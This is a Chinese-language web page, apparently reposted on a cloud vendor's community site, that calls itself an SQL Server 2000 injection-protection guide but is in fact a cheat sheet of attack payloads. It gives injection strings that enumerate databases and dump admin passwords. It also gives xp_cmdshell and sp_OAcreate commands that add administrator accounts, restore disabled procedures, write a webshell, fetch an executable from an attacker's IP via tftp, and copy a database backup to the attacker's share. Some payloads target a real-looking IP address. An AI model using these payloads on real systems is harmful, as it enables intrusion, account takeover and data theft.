SQL Server 2000 注入防護大全(一)

來源:互聯網
上載者:User

SQL Server 2000 注入防護大全(一)

Sql注入早源於'or'1'='1

最重要的表名:

select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

  最重要的一些使用者名稱(預設sql資料庫中存在著的)

public
dbo
guest(一般禁止,或者沒許可權)
db_sercurityadmin
ab_dlladmin

  一些預設擴充

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 磁碟機相關
xp_dirtree 目錄
xp_enumdsn ODBC串連
xp_loginconfig 伺服器安全模式資訊
xp_makecab 建立壓縮卷
xp_ntsec_enumdomains domain資訊
xp_terminate_process 終端進程,給出一個PID

例如:

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp
-c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--

  構造語句:查詢是否存在xp_cmdshell

' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where
xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判斷sa許可權是否
and 0<>(select top 1 paths from newtable)-- 暴庫大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名(從1到5都是系統的id,6以上才可以判斷)

  建立一個虛擬目錄E盤:

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "預設 Web 網站" -v "e","e:\"'
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的資料庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設為 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其他的欄位
and 0<(select user_id from BBS.dbo.admin where username>1)

  可以得到使用者名稱 依次可以得到密碼。。。。。假設存在user_id username ,password 等欄位

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

(union語句到處風靡啊,access也好用

  暴庫特殊技巧::%5c='\' 或者把/和\ 修改%5提交

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有欄位

_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

_blank>http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)

_blank>http://61.131.96.39/PageShow.asp?TianName=政策法規&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--

  得到了web路徑d:\xxxx,接下來:

_blank>http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--

  傳統的存在xp_cmdshell的測試過程:

;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'

_blank>http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共用目錄bak.dat'
如果被限制則可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.